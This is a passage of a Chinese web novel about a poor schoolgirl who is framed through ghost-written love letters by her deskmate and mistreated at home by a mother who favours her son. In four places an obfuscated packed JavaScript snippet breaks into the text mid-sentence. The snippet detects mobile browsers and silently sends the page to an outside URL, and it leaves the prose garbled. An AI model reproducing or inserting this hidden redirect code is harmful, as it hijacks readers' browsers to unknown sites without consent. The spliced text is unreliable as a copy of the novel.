可是那些信…… 她收回目光,侧头看了一眼也在认真听讲的喻玲。 老师在讲什么,她一个字也没听进去,而同桌温柔美好的笑脸仿佛也变得面目可憎起来。 她很想问问喻玲为什么要那么做,可鼓起的勇气一次次在自我否认中消逝。 喻玲那么好,不会这样对她的,这其中一定有什么误会。 她决定等放学回寝室午休的时候,先向姚明娜打听打听,再看看怎么跟喻玲开口。 语文课下课的时候,天就已经放晴。 闽县的天就是这样,风雨来得快去得也快,彩虹常挂天边。 好不容易熬到了放学,甄好神色如常地跟喻玲告别。 喻玲家就住附近,是走读生,三餐都在家里吃。 甄好很羡慕她,却不单单是羡慕这点。 “好好,憋死我了都。”周淳芮一上午除了赶作业就是参加校园长跑,根本没机会和甄好聊天。 “再憋一会儿。”彼时她们三个已经走到教室门口,甄好朝遥远的最西边看了一眼,“女厕太远了,直接去食堂找厕所吧。” “好好,你在说什么啊?”周淳芮忍住翻白眼的冲动,“我说的憋死了不是这个。” “那是什么?”甄好看了一眼没说话的鄢云书:“云云,你知道吗?” 根本不需要鄢云书开口,周淳芮就自己倒豆子似的全说了出来:“好好,你有没有发现这两天班里的同学怪怪的?不仅如此,就连寝室里的人都怪怪的。她们说的那些都是什么屁话,太难听了!好好,你是不是得罪什么人了?” 闻言,甄好轻轻皱起眉头。 看来她不需要从姚明娜那里打听消息了,周淳芮会解开她内心的疑问。 “他们都说什么了?”甄好挑了一个自己最想知道的问题问道。 “他们说你……”饶是性格大大咧咧的周淳芮也忍不住顿了顿,见甄好神色没有异常才继续小心翼翼地说道,“说你不要脸,小小年纪学人家追男孩子,也不知道照照镜子看看自己……” 鄢云书听不下去了:“芮芮,别说了。” “没事。”甄好微微握拳,指甲陷进掌心,带来一丝痛感,“他们还说什么了?” “好好,咱们不听了好不好?”想起那些话,周淳芮就气不打一处来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15552279|171279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“那些人肯定是吃大便了,嘴臭得很,我们不要听他们胡说八道。” “我没有。”甄好有些委屈地说道。 她不知道他们是从何而来的恶意,也不知道那几封信到底是怎么回事,但这件事一定跟喻玲脱不了干系。 “没有什么?”周淳芮被她没头没脑的三个字说蒙了。 “我没有追男孩子。”说这句话的时候,甄好略显心虚。 虽说她没有追男孩子,但她的确在日记本里藏了不为人知的少女心事。 “我当然知道你没有啦。”周淳芮说着话锋一转,“再说了,就算你追男孩子又怎么了,谁说女追男就是不要脸了?他们才是最荒谬的,老古董!” 鄢云书附和道:“赞同。” “哇哇哇,云云竟然赞同我了。”周淳芮本来好好走着路,听到鄢云书的话顿时手舞足蹈起来:“好好,听到没?连云云都赞同我说的话!” 她们三个人,属鄢云书的成绩最稳定,基本上常居年级前三。甄好的成绩浮动比较大,有时候能考到年级第一,有时候却掉出年级五十。至于周淳芮,学习是什么?她不知道,她只知道青春无敌,开心万岁。 快乐是会传染的,周淳芮眉飞色舞的样子很大程度地驱散了甄好心里的阴霾,连脚步都跟着变得轻盈了一些。 去食堂要经过一座小小的天桥,天桥连接着学生宿舍。这栋独立于教学楼的建筑,一共五层楼,男女生宿舍对半分,中间有护栏围挡,基本上看不到对面的一举一动,而食堂位于宿舍楼一楼旁另外起的一座两层小楼。 住在三楼的男生有多讨厌呢? 天桥直接连接到学生宿舍的二楼,每个学生想要去食堂都要从这里经过,头顶便是三楼走廊。 每当女生们走完天桥要进入二楼时,都必须深呼吸一口气,快速冲过去。 为什么呢?因为站在三楼走廊的臭男生们会往下吐口水! 她们三个走得迟了些,等走上天桥时,上面早就已经站了一排的男生,其中就包括裴小海。 他正跃跃欲试地看着下面的三人,笑嘻嘻地说道:“怎么不走了?是害怕了吗?哈哈哈——” 甄好厌恶地皱了皱眉。 没品的男生是真的一言难尽。 “杭与,你也过来啊!”裴小海回头招呼着师杭与,“多好玩啊,快来!” “别做这么无聊的事。”师杭与的语气淡淡的。 虽然没看到他人,但甄好还是下意识地紧张起来。 趁裴小海几人转过头的瞬间,周淳芮手疾眼快地拉着两人迅速通过这“恶心之门”,顺利进入到二楼。 “师杭与,都怪你!她们跑了!” 她们进了楼还清晰地听见裴小海抱怨的声音。 “男生真讨厌。”周淳芮不满地吐槽。 “同意。”短短五分钟内,鄢云书第二次赞同了周淳芮。 “嘻嘻,云云又赞同我了。”周淳芮又雀跃起来,“我又幸福了。” “快走吧。”甄好友情提醒道,“再不快点,你爱吃的干笋焖肉可就卖完了。” “对对对,快快快!”周淳芮忙不迭加快脚步。 一到食堂,三人就直冲自己爱吃的菜品窗口。甄好和鄢云书最快打完饭菜,久久才看到周淳芮苦着一张脸坐到她们对面。 “怎么这副表情?”甄好开口问。 “被你说中了,干笋炖肉真的卖光了。”周淳芮都快哭了,“我的快乐一去不回来,呜呜呜——” 这时,一道熟悉的声音传来:“不介意的话,可以吃我的。” 然后一道看起来色香味俱全的干笋焖肉被放在三人面前的不锈钢餐桌上。 8. 莫名其妙的自尊 今日多云转晴,心情的快乐开关丢失。 这是我第一次不想在日记本里写到683同学。 ——《橘色告白》 说话的女生是欧阳雅美。 跟她一同坐下来的还有楼知夏。 “欧阳?”周淳芮看了看欧阳雅美,又看了楼知夏一眼,惊讶道,“你们今天怎么没回家吃饭?” 她们和喻玲一样,都是走读生,平时关系也都不错。 看到两人,甄好不禁想起上周发生的一件事。 彼时恰逢新初一第一次月考成绩单下发,有人欢喜有人愁。 甄好既欢喜又发愁。 欢喜的是她成绩不错,语文作文更是得了全年级最高分;发愁的是被年段长拿到各个班级传阅,让每个班派代表在讲台上进行诵读。 甚至有其他班级相熟的同学特意来找她,说头一回看应试作文给看哭了。 听到这话时,甄好微微垂下眼帘。 没人知道她在考场落笔的时候,鼻子和眼睛一阵阵发酸,忍得很辛苦才没有掉眼泪。 她写的作文不管是主题还是情感都很朴实,或许用真情实感写下来的文字总是更能打动人心,因为这篇标题为《我的全能爷爷》,她在年级里小小地出名了。 很多人都知道初一有个叫甄好的女生作文写得好,得了满分。 (11)班更是跟过年了似的,同学们都跟着起哄,说班里出了个才女。 甄好不习惯被人注视,明明是被赞美的好事,她却觉得浑身别扭,脸上也热热的,十分不自在。 从小到大,她得到的所有夸奖都来自学校的老师。 一直在打击式教育下长大的她,面对来自外界的赞美都会感到深深的焦虑。被夸奖时,她的第一反应不是开心,而是觉得自己真的有那么好吗,自己真的配得上这些美好的词语吗? 这种不配得感导致甄好恨不得大家赶紧遗忘满分作文事件,再也不要提起来。 直到成年后,她才知道这种认知失调在心理学上被称之为“冒名顶替综合征”。 然而人生总是事与愿违,就在她的作文被传阅的第二天,喻玲约她到后山见面。 她不明所以,但仍旧按时赴约。 让她没想到的是,除了喻玲,还有三个女生在场。 其中两个是她们的同班同学欧阳雅美和楼知夏,另一个她觉得眼熟,但不认识。 喻玲先开口:“好好,有件事想请你帮忙。” “什么事呢?”甄好想不到自己能帮助她们什么。 除了那个女生她不熟悉,其余三个女生都是家境不错的本地人,她一个乡野来的女孩能有什么本事帮别人。 “甄好同学,这是(1)班的欧阳雅雅,是我堂妹。”欧阳雅美指着甄好不认识的那个女生,“其实是她有事想拜托你。” “甄好同学,是我求我姐帮我约你出来的。”欧阳雅雅留着披肩bobo头,看起来很是乖巧,声音也温温柔柔的,轻而易举就获得了甄好的好感。 甄好有些不好意思道:“你想要我帮你什么忙?” “你的那篇满分作文我看了,写得好好,我都看哭了。”欧阳雅雅真诚地夸赞道。 她的大方赞扬让患有严重赞美焦虑症的甄好霎时就紧张了起来,整张脸连同耳朵都红了,半天都说不出一个字来。 其实欧阳雅雅拜托她的事情很简单:“就是我……我喜欢一个男生。” 说到这里她顿了顿,脸比甄好的还要红:“我想给他写信。” 她没好意思说“情书”这两个字。 “然后呢……”甄好隐约猜到她想让自己做什么,但不敢肯定,因为那实在太过匪夷所思。 “然后,我就想……”欧阳雅雅说到一半看了一眼喻玲。 “没事,你就照实说吧。”喻玲柔声开口,“好好不会介意的。” “那好吧,那我就直说了。”欧阳雅雅鼓起勇气说道,“因为我没什么文采,又想在喜欢的男孩子面前留个好印象,所以我想说,你可不可以帮我写几封信,到时候我稍微改一改,重新写一遍再给那个男生……我想找你帮忙的就是这件事,不知道甄好同学愿不愿意?” 甄好听完微微松了口气。 她原本以为对方是想让自己直接替写情书,在听到欧阳雅雅说还会再誊写一遍,她心里的大石彻底落地。 她不擅长拒绝人,可帮人写情书这种事情她又实在不愿意做,但如果只是帮忙写几段话让别人参考,她完全没问题。 见甄好一直没说话,喻玲忍不住帮腔:“好好,你就帮帮雅雅吧。她喜欢那个男生很久了……” 就算喻玲没有开口,甄好也没打算拒绝。 所以这事就这么定下了。 从上周二开始,她每天都会交给喻玲一封信,由喻玲交到欧阳雅雅手上。 甄好用的只是最普通的科作业纸,但好看的字写在哪里都好看,每写一封喻玲都会不遗余力地夸她:“好好,你的字写得好漂亮啊!” 这一周以来,可以说是甄好短短的人生中受到赞誉最多的七天。 有时候看着简陋的科作业纸,她也会渴望那些精美的信纸,可是她没有钱买除了必需用品以外的任何东西。 甚至连必需品她都不一定买得起。 比如,她脚下的鞋一到下雨天就会进水,湿漉漉的感觉很不好受,然而她连找家里人要钱买新鞋的勇气都没有。 甄好的目光不自觉地落在欧阳雅美那双漂亮的名牌运动鞋上,心里泛起一丝丝苦涩。 “我和雅美的爸妈中午刚好都有事出去了,我们就结伴来尝尝学校食堂的菜味道怎么样。”回答周淳芮问题的是楼知夏。 “哦哦。”周淳芮的眼睛从始至终只黏在她心心念念的冬笋炖肉上,“那我就不客气啦!” 说着,她一筷子夹了下去,边夹边说:“不要嫌弃我,我的筷子还没有用过。” “不嫌弃,不嫌弃,我们一起吃吧。”欧阳雅美说着又将自己的餐盘往几人中间推了一下。 楼知夏和欧阳雅美的盘子里又是鱼又是虾的,甚至还有一些卖相不错的糕点,甄好看着看着不着痕迹地咽了咽口水。 她很想吃,可她一筷子都没有动,一直老老实实吃着自己餐盘里的素菜,唯一算得上荤菜的是西红柿炒蛋。 除了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15552280|171279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一种奇怪的自尊束缚住了她,还有更重要的一点是,她不喜欢与人分食。 楼知夏几次欲言又止,最后到底还是什么都没说。 一直埋头吃饭的甄好并未看到她几次投向自己的眼神里藏着不明显的愧疚。 这时,欧阳雅美放在校服口袋的手机轻轻振动了一下,她掏出来查看。 是楼知夏在□□四人群里发了一条消息:“我们这样做是不是太过分了啊?” 甄好无意间的一瞥,看到了欧阳雅美手机上的企鹅图标。 虽说闽县只是一个小县城,但沿海地区的经济发展总是比内地来得快,尤其是电子产品。 个别有钱人家的小孩早就人手一部智能手机,智能手机走进千家万户只是时间问题。偏偏就是这么平常的一件事,对于甄好来说却难如登天。 落寞的感觉再度席卷她,她想要的东西太多太多,能力却不足以支撑她的野心。 她不想被困在落后的小县城里,她想走出大山,想到山的那边,想去海的那边,想去看看更广阔的世界。 吃完饭回寝室的路上,周淳芮因为吃到了想吃的美食,一直叽叽喳喳,开心得不得了。 鄢云书跟平时一样,没什么话。 甄好则又变成心事重重的样子。 她很想现在就当面问问喻玲为什么自己写的信会落到师杭与手中,可距离下午上课还有一段时间。 一到寝室,她就疲惫地躺在床上。 寝室的床很硬,她铺了两层被褥睡起来才勉强舒服些。 她的心很乱,很多人的脸在她大脑里转来转去,最后停在师杭与那张俊秀的面容上。 师杭与个子高挑,皮肤是健康的蜜色,五官酷似当时流行的男团歌手之一,是以不管是哪个年级的女生都对他很感兴趣。 甄好便是其中不起眼的一个。 她翻来覆去怎么都睡不着,师杭与那句冷漠的“以后不要再做这种无聊的事了”就像核弹爆炸,爆炸过后是无尽的伤痛,不知何时才能愈合,甚至无法愈合。 既然睡不着,她索性不睡了,翻身用手肘撑着床铺,打开一直藏在枕头下的日记本。 为了阻挡蚊子,也为了有自己小小的隐私空间,寝室里每个女生都安了床帘,甄好也不例外。 她安的是亮眼却不透人影的橘色帘子,没人知道是因为它便宜,她才选择了它。 甄好翻看着这几日的日记,每一天都有不同的烦恼。她不知道别的女生是不是也像她一样,除了写不完的作业,就是诉不完的烦恼。 她看着每一页都出现的683同学字眼,心里堵得慌。 因为怯懦,她连师杭与的名字都不敢写,只敢用代号叙说自己的隐秘心事。 师,六个笔画。 杭,八个笔画。 与,三个笔画。 简简单单的三个数字,组成她少女时代情窦初开的最美符号。 【注解】冒名顶替综合征(ImposterSyndrome):指个体认为自己不配得到认可,觉得成功或赞美是“侥幸”,担心被他人“识破”自己的“不足”。这种自我怀疑会导致对正面反馈的排斥。 9. 一周能见你五天 今日天气持续多云。 学校再怎么讨厌,一周能见到你五天就感觉什么都很好。 ——《甄好日记》 下午第一节课。 喻玲来得有些迟,只比数学老师先一步到达教室。 一坐下没多久,她就轻轻碰了碰甄好的胳膊,推了一张字条过来。 因为怕被老师发现,所以甄好小心翼翼地展开,看见上面写着:“好好,下课可以和我去一趟后山石屋吗?” 她回了个“好”字,便抬头认真看着黑板,表面看起来正在专注地听讲,实际上板书上那些xyz早不知飞到哪里去了。 她最近总是走神,这样不好。她可以说是一无所有,唯一能够引以为傲的就是成绩。 她不能连这点优势都丢掉。 这么想着,甄好强迫自己把注意力放在新教的公式上,跟着老师的思路解开了一道又一道数学题。 做出一道数学题的成就感很奇妙。 不像语文或政治题,只要言之有理就可以得分,数学题的答案对就是对,错就是错,干净利落,就如她想要的人生。 可人生怎么可能是那么简单的对与错? 时间在做题中不知不觉地流逝,很快便下了课。 甄好和喻玲一同走向学校后山的石屋。 课间只有十分钟,加上来回的时间,她们真正能待在石屋的时间不会超过五分钟。 甄好不是很明白有什么事是在教室不能说的,非要在石屋见面。 不过既然喻玲都提出请求了,她也懒得思考那么许多,先去了再说。 去的路上,两人的气氛有些古怪,古怪在一向健谈的喻玲一句话都没有说,而话本来就少的甄好更加不可能主动开启什么话题。 一路沉默着到达石屋后,她们只是站在石屋后一处较为隐蔽的地方,并未走进去。 甄好刚站定,就听到喻玲满怀歉意地开口说了三个字:“对不起。” “对不起?”甄好心里一咯噔,隐约猜到喻玲真正想说的可能跟那些信有关,不自觉跟着紧张起来。 “我今天才知道杭与同学扔给你的那些信原来是我拜托你写的。”喻玲秀眉紧锁,“对不起,是我让杭与同学误会了你。” 这是一种什么感觉呢? 在甄好万般纠结该如何询问和对质时,喻玲先主动坦白了一切。 坦白果真从宽,在喻玲说出口的那一刻,甄好发现自己已经原谅了她大半。 但她还是不明白:“你为什么要那么做?” “真的很对不起,是我搞错了状况,这一切都是我造成的。”喻玲不断地道歉,“你要怪就怪我吧,这件事跟其他人无关,对不起,真的对不起。好好,你骂我吧。” 虽然觉得这一番话哪里怪怪的,但甄好一直是容易心软的性格,见喻玲一副快哭了的模样,更是一句责怪的话都说不出来。 在她心里,喻玲一直是一个很好的同桌。不仅长得漂亮,人也温柔,而且一点也没有看不起她是从乡下来的。 可这不是喻玲可以肆意伤害她的理由。 此时此刻,她心里有两个自己在打架,哪一方都不肯认输。 一方叫她原谅喻玲,另一方叫她不能轻易原谅施害者。 甄好的沉默让喻玲更加慌张:“好好,你怎么不说话?你骂我两句好吗?这样我心里会舒服些。” “我现在心很乱,我们先冷静冷静吧。”甄好说完便先转身朝教室的方向走去,喻玲自然没看到她悄然红起来的眼眶。 一场悄无声息的冷战在甄好和喻玲之间拉开,就连神经大条的周淳芮都感觉到了不对劲。 “好好,你跟喻玲是不是闹矛盾了?”第二节下课,周淳芮拉着鄢云书和甄好两人去操场散步。 “为什么这么问?”甄好不认为自己表现得有那么明显。 “我看你们都两节课没说话了。”喻玲不是内向的性格,哪怕甄好不说话,她也一定会找话说,这是周淳芮判断这两人之间不对劲的依据。 “的确发生了点小小的误会。”甄好轻描淡写道,并没有细说的打算。她实在不知该从何说起。 “这样啊。”周淳芮突然停下来,转身面对甄好。 她的眼睛很大,一脸严肃的时候仍旧带着几分天真:“好好,如果有什么不开心的事,只要你想说,我们都在。” 说完她又冲鄢云书道:“对吧,云云?” “嗯。”鄢云书难得认真地点头,“把事情憋在心里对身体不好。” “马上上课了,放学再说吧。”甄好感觉内心有一阵暖流淌过,郁结的心情得到一丝丝缓解。 这天是周五了,即将迎来周末。 寄宿生只有周末才能回家,每个人脸上都洋溢着快乐和迫不及待,都巴不得快点放学。 可是,甄好不想回家。 一点都不想。 但周末还是如期而至,第三节下课铃声响的前一分钟,教室里就明显开始躁动起来。 同学们早已按捺不住激动的心,早早就收拾好了一应物品,只等铃声一响,就冲出教室。 甄好三人一向不喜欢凑热闹,总是拖到最后才慢吞吞地去车棚取车。 奇怪的是,喻玲也没有像往常一放学就走,而是磨磨蹭蹭地收拾着桌上的东西,时不时瞥一眼门口。 下一秒,少女轻快的声音响起。 “玲子,我来了,去网……”欧阳雅雅一从后门钻进来就与准备出去的甄好迎面碰上,导致她硬生生将那个“吧”字吞了回去。 “嗨……甄好同学。”欧阳雅雅眼神闪躲,心虚得不敢直视甄好。 “嗯。”一放假甄好就心情不好,看到欧阳雅雅更是不可避免地想起情书事件,本就郁闷的心情更添几分阴霾,自是没有注意到对方的异样。 她说完便头也不回地出了教室,第一次放学没有跟喻玲说再见。 等确定甄好走远了,欧阳雅雅才小心地问喻玲:“你都跟她说了?” 喻玲不在意地点点头:“说了,她不高兴了。” “那你接下来打算怎么办?”欧阳雅雅说这话的时候,一直还没有离开教室的欧阳雅美和楼知夏也围了过来。 喻玲淡淡地笑道:“雅雅,接下来就看你的了。” “我怕我怯场……”欧阳雅雅不自信道。 “不就是演戏嘛,等回了家姐陪你排练。”欧阳雅美无所谓地耸肩,“正好不知道周末玩什么。” “你们不觉得甄同学挺无辜的吗?”这句话楼知夏早就想说了。 “她无辜?”喻玲冷笑道,“我对她那么好,什么好吃的好玩的好看的都第一时间分享给她,可她呢?” “但是这也不能完全怪甄同学啊……”楼知夏嗫嚅道,“她甚至都不知道宋景喜……” “住嘴,我不想听。”此时的喻玲完全没有平时温柔可人的模样,有的只是一脸不耐烦,“夏夏,你到底是哪边的?” 一想到宋景喜欢甄好这件事,她就恨得牙痒痒。 这场由她主导的针对甄好的恶作剧,才刚刚开始。 透过窗户,喻玲看着已经走到校门口的女生背影,嘴角的冷笑越来越深。 三中的停车棚设置在校门口右侧。 甄好的自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15552281|171279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行车是一辆掉了漆的二手货,骑起来摇摇晃晃,总生怕它散架。 取到车,打开锁后,她才发现车胎不知被谁放气了。 “真倒霉。”心情不佳的她如今更是感到雪上加霜。 “怎么了?”周淳芮这时也找到了自己的车,正推着走到甄好旁边。 “轮胎没气了。”甄好强压下内心的烦躁,语气听起来还算平静。 她不是情绪外放的人,多数时候都是面无表情的样子,只有在面对熟悉的人才会偶尔露出独属于花季少女的清甜微笑。 “放气贼真讨厌!算了,我们陪你去钟阿叔那里打气。”周淳芮伸出一只手拍了拍甄好的肩,“走吧。” 钟阿叔人很好,像给轮胎打气这种小事一般都不收钱,所以钟叔修车铺很受学生欢迎。 到了那里,经过钟阿叔的检查才发现甄好的自行车不单是没气了,是连车胎都被为为扎破了。 “要补胎。”听到钟阿叔这样说,甄好不禁皱了皱眉心。 “钟阿叔,补胎需要多少钱?”她一周只有二十元的生活费,不仅要吃饭还要买学习用品,到了周五手里已经所剩无几。 “收你三块钱。”钟阿叔说了个实诚价。 甄好心知这已经是钟阿叔能给的最低价了,可是…… 她紧紧捏着手里的两元纸币,脸在一瞬间热了起来。 钱不够。 一文钱尚且难倒英雄汉,别说她只是一个刚上初一的女生。 周淳芮和鄢云书对视一眼,两人默契地交换了一个眼神。 “钟阿叔,我们的自行车好像龙头有点问题,轮胎气也不太够,要不一起帮我们检查检查吧,您看看一起弄完多少钱。”周淳芮对钟阿叔说道。 “没问题,我看看。”钟阿叔说完便开始干活了。 甄好半信半疑地看着她们:“没听说你们的车也有问题啊……” “哎呀,刚发现的嘛。”周淳芮说话时没看甄好,而是心虚地看着忙活的钟阿叔,“这不重要,重要的是快点修好车,好早点回家,感觉要下雨了。” 甄好抬头看着头顶上的阴天,游云在风的簇拥下,迅速地飘走后又有新的云追上来。偶尔有小鸟飞过天际,不留下一丝痕迹。 周淳芮说得没错。 的确快要下雨了。 十分钟后,钟阿叔将三辆自行车交到三人手中,最终只多收了一块钱,也就是四块钱。 一直没说话的鄢云书开口道:“好好,这是我和芮芮的,放一起给老板吧。” 她手里拿着的是两张一元纸币。 “那怎么行?补胎明明要三块钱……” “哎呀,这不重要。”周淳芮抢过鄢云书和甄好手中的纸币,将它们一咕噜塞到钟阿叔手里,“谢谢钟阿叔,我们先走啦。” 说完,她便率先骑上自行车,朝前飞奔而去,边骑边大喊:“再不走真的要下雨了!” 甄好无奈,只好快速跟了上去。 三个女生在台风天即将到来的傍晚逆风前行,恣意又自在。 遇到上坡的时候,她们只能下车推着走。 回刺桐村有一段长长的上坡路,光走都要花上半个小时。 聊天自然就成了打发时间的最佳选择,周淳芮永远是走在话题的最前端:“好好,你跟喻玲发生什么事了?” 被她这么一问,甄好的话匣子就此打开。 将事情娓娓道来,又得到两位好友的安慰与支持后,她感觉内心轻松了不少。 在这一刻,甄好是切实感受到快乐的。 而她的快乐,截止于回到家见到母亲的那一刻。 10. 爱不到想爱的人 今日天气晴,心情灰扑扑。 回家好像变成了一种折磨。 我想像七仙女一样自由飞翔,去想去的地方。 ——《甄好日记》 走进那栋一遇到台风暴雨天就会漏水的瓦房,甄好的心便随之提了起来。 “妈,我回来了。”她小心翼翼地往里屋走去,说话的音量不大,在空旷的房里听起来却足够清晰。 等她回到自己和妹妹甄美的房间时,才听到母亲何允莲的大嗓门:“回来了就去帮你妹妹切菜喂鸭子。一天天的,喊一下才知道动一下,两个赔钱玩意儿,不知道我做工累吗?” 那种熟悉的窒息感又涌上甄好心头。 她没有应答,只是放下书包就走到北边的小院子去寻甄美。 何允莲所说的切菜,是将芥菜切碎,把南瓜推成丝,然后取一些糠加水,搅拌好喂鸭子吃。 莫说是在闽镇的刺桐村,就是闽县乃至整个闽市,溢鸭汤都像是灵丹妙药——感冒了,喝鸭汤好得快;贫血了,喝鸭汤好得快;青春期,喝鸭汤长得快;生娃坐月子,喝鸭汤好下奶…… 总之,做什么都能扯上喝鸭汤。 别人家的小孩怎么样甄好不清楚,但她本人厌恶极了喝鸭汤。 “阿姐,你回来啦。”正蹲在地上推南瓜丝的甄美抬起头,稚嫩的小脸上是纯真的笑。 在没有旁人的时候,甄好是很喜欢这个小自己五岁的妹妹的。 十一岁那年,她第一次见到从津城回到家乡的甄美。 彼时六岁的甄美人如其名,圆圆的杏眼看起来可爱又无辜,小小年纪就已经能看出鼻梁高而挺,最好看的是那张樱桃小嘴,谁见了都要夸两句。 甄好一方面因为自己竟然有个妹妹而感到新奇,另一方面因为自己有这么漂亮的妹妹而觉得开心。 如果不是后来发生的那些事…… “阿姐?”见她发呆,甄美又叫了她一声。 甄好从回忆中挣脱出来,板着脸不悦道:“别叫我阿姐。” 甄美却不为所动:“阿姐,你刚骑了那么久的车回来,肯定很累吧?这样好了,你就假装在帮我,先坐着歇会儿。” 她简短的一席话让甄好心里五味杂陈。 两相对比之下,她觉得自己又小气又邪恶,真真如他们所说——甄好哪里都比不上甄美。 这么一想,甄好更加讨厌自己了。 然而甄美的好意到底还是打了水漂,何允莲很快就监工来了:“都别偷懒啊,动作麻利点,那些鸭子可是咱们的吃饭钱,饿不得。还有啊,看着你们弟弟点,别让他跑丢了。” “妈——” 甄好刚叫出一个字就被何允莲打断:“妈什么妈?快干活,你妈我身上疼死了,先去躺会儿。” 转身离去之前,她又回过头交代:“喂完鸭子记得做晚饭。” 甄好张了张嘴,想说什么但最后还是一个字都没说。 她缓缓地蹲下,动作机械地切着菜,不发一语。 “阿姐,等一下我来做饭。”甄美仰头冲她露出一个天真无邪的笑容。 这一瞬间,甄好更加自惭形秽。 年仅八岁的甄美尚且懂得如何疼爱家人,为什么有些大人却…… 她抬头看了一眼在一旁玩棍子的甄黎,眼中闪过明显的不耐烦。 下一秒,甄黎甩着棍子朝她们走来,嘴里大喊着:“看剑!” 甄美一个躲闪不及,被那根长棍的尖锐处戳到了脖颈,细腻的皮肤很快红了一块。 “甄黎!你干什么?!”甄好眼里的不耐烦终于彻底变成厌烦,大声地冲甄黎吼道。 她刚吼完,甄黎就扔掉棍子,整个人坐在地上大哭起来。 震天响的哭声很快引来了在主屋休息的何允莲,她一边嘴里骂骂咧咧,一边快步走来。见自己心爱的小儿子坐在地上哭得一脸脏兮兮,她怒从中来:“你们是怎么当姐姐的?没看到弟弟摔倒了,不知道扶一把?真是不知道养你们有什么用!两个糟心玩意儿!” “妈妈,二姐打我……”甄黎一边哭一边指着还蹲在地上的甄美恶人先告状,“好痛痛——” 何允莲一听,顿时气急败坏,指着甄美的鼻子就骂道:“让你打弟弟,让你打弟弟!弟弟才五岁,你不知道让着他点吗?啊?!” 在她的巴掌即将落到甄美脸上时,甄好不知从哪里生出来的勇气,直接用身体挡住了那只手。 “妈!事情不是这样的,是……” 何允莲根本不给甄好说话的机会,一把推开她们:“起开,该干吗干吗去。” 她说着蹲下身,心疼地抱着甄黎安慰道:“黎黎哪里疼?妈妈吹吹就不疼了啊,黎黎乖……” 被何允莲推开的那一瞬间,甄美忍了又忍的眼泪终于控制不住地掉了下来。 甄好拉着她走到厨房,一张脸冷得像腊月的霜。 “阿姐,我也疼。”甄美晶莹的眼泪一颗接一颗地掉,“我也想要妈妈给我吹吹。” 她到底还只是个小女孩,也想要来自母亲的关怀与疼爱。 “做饭吧。”甄好什么都没说,只是转身默默地刷锅。 眼泪她小时候也没少掉,可是掉眼泪有什么用,她的生活没有任何改变,母亲依旧只宠爱弟弟。 小小的甄美尚且不懂这些大人的情感,只知道一个事实:“阿姐,我讨厌弟弟。” 她一边生火,一边气鼓鼓地抱怨:“弟弟讨厌,我不想要弟弟!” 甄好始终没有对她的话发表任何意见,等淘好米下锅后便出了厨房。 再回来时,她手上多了两样东西:“阿美,你过来。” 甄美又往灶坑里加了一根干柴,才起身来到她面前:“怎么了,阿姐?” 甄好没说话,只是拿消毒酒精默默地替她擦拭脖子上的伤口。 被消毒酒精触碰到的皮肤一片生疼,甄美不自觉地“咝”了一声。她虽然觉得疼,眼睛却亮亮的,亮到甄好不敢看。 消好毒后,甄好替她贴上卡通创可贴:“好了。” 消毒酒精和可爱的创可贴都是她上了初中后,从喻玲那里知道的,是她省吃俭用一个星期才买回家备用的。 “谢谢阿姐。”甄美圆圆的眼睛笑成了月牙,“还是阿姐对我好。” “傻兮兮的。”甄好伸手揉乱她和自己差不多长的头发。 面对甄美纯澈的笑容和真诚的感谢,她心有愧疚。 她应该第一时间就拿东西来帮甄美处理伤口的,偏偏这个小丫头还开心得咯咯直笑。 “阿姐,你帮我看一下火。”甄美上扬的嘴角一直没有收回来,“东西给我吧,我放回去。” “好。”甄好说着把东西递给她。 过了不到一分钟,甄美又跑进了厨房,声音里满是惊喜:“阿姐,阿姐,这个创可贴好漂亮啊!” 她一边说一边轻轻摩挲脖子上那张小小的创可贴。 “都说了,别叫我阿姐。”甄好故意冷着脸,一遍一遍地强调道。 “可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15552282|171279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你就是我的阿姐啊。”甄美依旧不听她的,自顾自地转移话题,“阿姐,县里是不是很热闹,是不是很多我没见过的新鲜玩意儿?” 甄好被她的问题问住。 其实甄美在更大更繁华的城市津城生活过,只是那时候她年纪小,没有留下多少记忆。 